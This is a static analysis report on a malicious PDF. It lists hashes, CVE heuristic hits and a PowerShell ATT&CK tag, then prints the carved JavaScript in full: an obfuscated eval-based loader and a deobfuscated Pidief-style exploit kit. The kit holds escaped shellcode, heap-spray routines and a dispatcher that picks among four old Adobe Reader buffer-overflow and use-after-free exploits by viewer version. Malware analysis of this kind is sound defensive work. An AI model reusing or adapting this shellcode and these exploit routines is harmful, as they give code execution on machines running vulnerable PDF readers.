Malicious PDF — malware analysis report

Static analysis result for SHA-256 f6b83937d84fa87d…

MALICIOUS

PDF

78.7 KB Authoring application: ring.fromChar First seen: 2026-05-09
MD5: b1d0fc0eb5b86620f2b494e2d2129e29 SHA-1: ec71a6de9b7107dbe9c225d9e8df18ba8cc0660c SHA-256: f6b83937d84fa87d4c0c9d7e16217b92593c76e31a6255ebff9cb293b53097dd
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by heuristic firings and the presence of a javascript_obj0001_000.js artifact. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions, such as downloading a second-stage payload, although the specific actions are not detailed in the provided evidence. The document body is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x13873 394 bytes
SHA-256: f3395925727f4fb2ba1f5a986b97c92c90b60a3f745709fcb0c23c08a7f0ccf3
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var wyzl="";
vtxf='his';
ufx='tit';
e('kwvex=t'+vtxf+"."+ufx+t);
t='cer'
hstf='produ';
e('nfdwz=t'+vtxf+"."+hstf+t);
ymybe=e('St'+nfdwz+'Code');
tvk = e(kwvex);
e('k=tvk.length');
for (i = 0; i < k; i+=2) {
	yuxf = tvk[i] + tvk[i+1];
	wyzl += ymybe(yuxf);
}
e(wyzl);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: 74766c6c80dc7f3e77ae25a0b1c5a56f1c45cd5d38435bf98a2707bab72a7cad
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ub534%ue2aa%uc3fa%ue5e8%uffff%u5cff%ub4b9%ub5b5%u34eb%ue959%ub5b4%u3cb5%u3852%ua5fa%uda38%u84e1%ue26e%ue6e4%ue6e6%ue6e6%ue6e6%ue6e0%udde6%ub4b1%ub5b5%ue3e0%udde6%udbda%ub5b5%uc0dd%ud9c7%ue1d8%u3bdd%ubbfb%u5d59%ub5fd%ub5b5%u5de5%ub5c9%ub5b5%u654a%u7136%uddbd%u5afa%ub0fa%u5de5%ub5d9%ub5b5%u654a%u7530%ua2c0%ue1df%u46ec%udd1f%u4bc7%ua306%ua85d%ub5b5%ue5b5%ue45d%ub5b5%u4ab5%ue665%u4bdf%u3cdd%ub4da%u5d08%ub5bd%ub5b5%u5de5%ub589%ub5b5%u654a%u84d5%ud175%ue53e%u3e85%ub9e7%ue73e%u3ea1%u9dc7%uad0c%ub5b5%u84b5%u844a%u1975%ud489%ub7c9%u9599%u7a74%ub4b8%u5772%u3445%uee4a%uff09%u3edf%ua5f7%ua73e%u6cc0%uf13c%ua991%u76d4%u3ed5%u91d9%u3e91%u89f0%ue13e%ucdb0%u5fb4%uff3e%u3ead%u95ef%u5eb4%u8156%u3efc%u3e81%u5bb4%u4a84%u7584%u1949%u7531%ub2c1%u7a74%ub4b8%u5e72%u8e41%u91c9%uc09d%u3e54%u91ef%u5eb4%u3ed3%ufeb9%uef3e%ub4a9%u3e5e%u3eb1%u5db4%uf13c%ua991%u77d4%ub5bd%u5a5d%u4a4b%udd4a%uc1c1%u8fc5%u9a9a%udbc0%ucdc1%ud69b%u9bda%ud6d6%uda9a%uc59b%uc5dd%ud38a%u8488%u9383%u88d0%ub580';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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